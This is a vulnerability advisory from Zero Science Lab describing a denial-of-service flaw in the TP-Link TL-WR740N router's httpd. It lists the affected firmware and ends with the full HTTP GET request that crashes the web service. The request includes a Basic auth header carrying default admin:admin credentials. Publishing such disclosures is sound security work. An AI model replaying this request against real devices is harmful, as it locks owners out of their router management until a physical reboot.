TP-Link TL-WR740N Denial Of Service

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TP-Link TL-WR740N Wireless Router MitM httpd Denial Of Service  
  
  
Vendor: TP-LINK Technologies Co., Ltd.  
Product web page: http://www.tp-link.us  
  
Affected version:  
  
- Firmware version: 3.17.0 Build 140520 Rel.75075n (Released: 5/20/2014)  
- Firmware version: 3.16.6 Build 130529 Rel.47286n (Released: 5/29/2013)  
- Firmware version: 3.16.4 Build 130205 Rel.63875n (Released: 2/5/2013)  
- Hardware version: WR740N v4 00000000 (v4.23)  
- Model No. TL-WR740N / TL-WR740ND  
  
Summary: The TL-WR740N is a combined wired/wireless network connection  
device integrated with internet-sharing router and 4-port switch. The  
wireless N Router is 802.11b&g compatible based on 802.11n technology  
and gives you 802.11n performance up to 150Mbps at an even more affordable  
price. Bordering on 11n and surpassing 11g speed enables high bandwidth  
consuming applications like video streaming to be more fluid.  
  
Desc: The TP-Link WR740N Wireless N Router network device is exposed to a  
denial of service vulnerability when processing a HTTP GET request. This  
issue occurs when the web server (httpd) fails to handle a HTTP GET request  
over a given default TCP port 80. Resending the value 'new' to the 'isNew'  
parameter in 'PingIframeRpm.htm' script to the router thru a proxy will  
crash its httpd service denying the legitimate users access to the admin  
control panel management interface. To bring back the http srv and the  
admin UI, a user must physically reboot the router.  
  
Tested on: Router Webserver  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2014-5210  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5210.php  
  
  
13.11.2014  
  
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Replay  
  
GET /userRpm/PingIframeRpm.htm?ping_addr=zeroscience.mk&doType=ping&isNew=new&lineNum=1 HTTP/1.1  
Host: 192.168.0.1  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.0.1/userRpm/PingIframeRpm.htm?ping_addr=zeroscience.mk&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20  
Authorization: Basic YWRtaW46YWRtaW4=  
Connection: keep-alive  
`